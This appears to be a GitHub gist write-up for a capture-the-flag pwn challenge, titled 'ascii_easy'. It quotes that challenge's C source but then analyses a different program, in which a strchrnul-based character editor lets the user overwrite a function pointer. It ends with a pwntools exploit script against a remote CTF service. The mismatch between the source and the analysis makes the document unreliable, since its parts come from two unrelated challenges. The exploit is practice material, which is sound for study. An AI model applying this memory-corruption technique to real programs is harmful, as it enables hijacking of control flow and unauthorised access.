Skip to content

Instantly share code, notes, and snippets.

@marcorentap
Created January 25, 2023 16:07
Show Gist options
  • Save marcorentap/5af0d3863f11423e2c8a81fbad94fb05 to your computer and use it in GitHub Desktop.
Save marcorentap/5af0d3863f11423e2c8a81fbad94fb05 to your computer and use it in GitHub Desktop.
pwnable.kr_ascii_easy

Overview

The program reads an input as a command line argument and stores it in a buffer. The argument must only contain ASCII characters. Source code is provided:

#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
    vuln(argv[1]);

}

image

Options

image

Option 1 calls the game. A game is stored at **(cur+0x88)

Option 2 calls save_game()

Option 3 calls delete_save()

Option 4 just prints the current name

Option 5 calls edit_char()

Option 0 exits the program

Goal

Call win which will print out the flag

image

Vulnerability

Buffer Overflow:

edit_char uses strchrnul which returns a pointer to the null byte at the end of the string, rather than NULL. It is used here without checking the bounds of the character to replace.

This example replaces Z with f. Z doesn't exist so the 0x00 is replaced instead

Before After
image image

By replacing multiple 0x00 we can 'grow' the name string to also include the bytes beyond its original length.

Observation

  1. The maximum length of name is 0x7f or 127. This includes \n and \x00 when entering manually

image

The game is stored at cur+0x88 (highlighted). It can be overwritten using edit_char

  1. The default game address is at 0x00400d6b

  2. The address of win is located at 0x00400cf3

Exploit

  1. Use Option 5 to replace 0x00 until the name string grows to include the word at cur+0x88
  2. Use Option 5 to replace 0x00400d6b to 0x00400cf3 (change 2 lower bytes)
  3. Use Option 1 to jump to win function

Code

from pwn import *

e = ELF("challenge")
p = remote("svc.pwnable.xyz", 30015)

payload = b"D" * 0x7f
p.recvuntil(b":")
p.send(payload)

# grow the string
# change 5 \x00 to D with strchrnul
for i in range(0, 5):
    p.recvuntil(b">")
    p.sendline(b'5')
    p.recvuntil(b":")
    p.sendline(b'Z')
    p.sendline(b'D')

# change 0x400d6b to 0x400cf3
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x0d')
p.sendline(b'\x0c')

p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x6b')
p.sendline(b'\xf3')

# Jump to win
p.sendline(b'1')
p.interactive()

Note: This exploit works sometimes because the number of \x00 to be replaced varies. Just run multiple times

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment